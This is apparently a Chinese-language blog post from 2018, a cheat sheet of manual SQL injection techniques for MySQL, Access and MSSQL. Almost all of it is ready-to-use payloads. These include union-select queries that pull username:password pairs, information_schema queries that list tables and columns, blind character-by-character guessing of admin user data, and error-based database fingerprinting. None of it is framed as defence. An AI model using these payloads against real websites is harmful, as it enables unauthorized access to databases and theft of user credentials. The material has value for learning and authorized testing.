SQL手工註入技巧
阿新 • • 發佈:2018-05-31
dmi con 存在 pre strong 結果 說明 column sch
MYSQL篇
1.內置函數和變量
@@datadir,version(),database(),user(),load_file(),outfile()
2.利用concat(),group_concat(),concat_ws()拼接查詢結果
實例:
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user
3.使用內建數據庫查詢表段和字段
查表段:
xxx.php?id=1 and 1=2 union select 1,2,table_name from
(select * from information_schema.tables where table_schema=數據庫名的hex
order by table_schema limit 0,1)t limit 1–
查字段:
xxx.php?id=1 and 1=2 union select 1,2,column_name from (select * from information_schema.columns where table_name=表名的hex and table_schema=數據庫名hex值 order by 1 limit 1,1)t limit 1–
這裏可以再結合下concat的拼接功能
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20)
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=數據庫名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n條數據]
Access篇
猜表名
*.asp?id=1 and exists (select * from admin)
猜列名
*.asp?id=1 and exists (select password from admin)
Order by查詢
*.asp?id=1 order by 3
union 查詢
*.asp?id=1 union select 1,password,3 from admin
不支持union的情況
先判斷內容的長度
*.asp?id=132 and (select top 1 len(user) from admin) >5
然後一個一個猜
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97
例如確定asc(mid(user,1,1))的值是97,即可判斷出user的第一個字符為a
確定了之後繼續從第二個位置猜
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97
以此類推
MSSQL篇
基於報錯的MSSQL註入:
判斷是否是MSSQL
'and exists (select * from sysobjects) --
如果返回正常,就說明是MSSQL,否則當sysobjects不存在,是會報錯的。
猜表名:
'and exists(select * from admin)--
如果存在,會返回正常頁面,否則報錯,就是不存在。
SQL手工註入技巧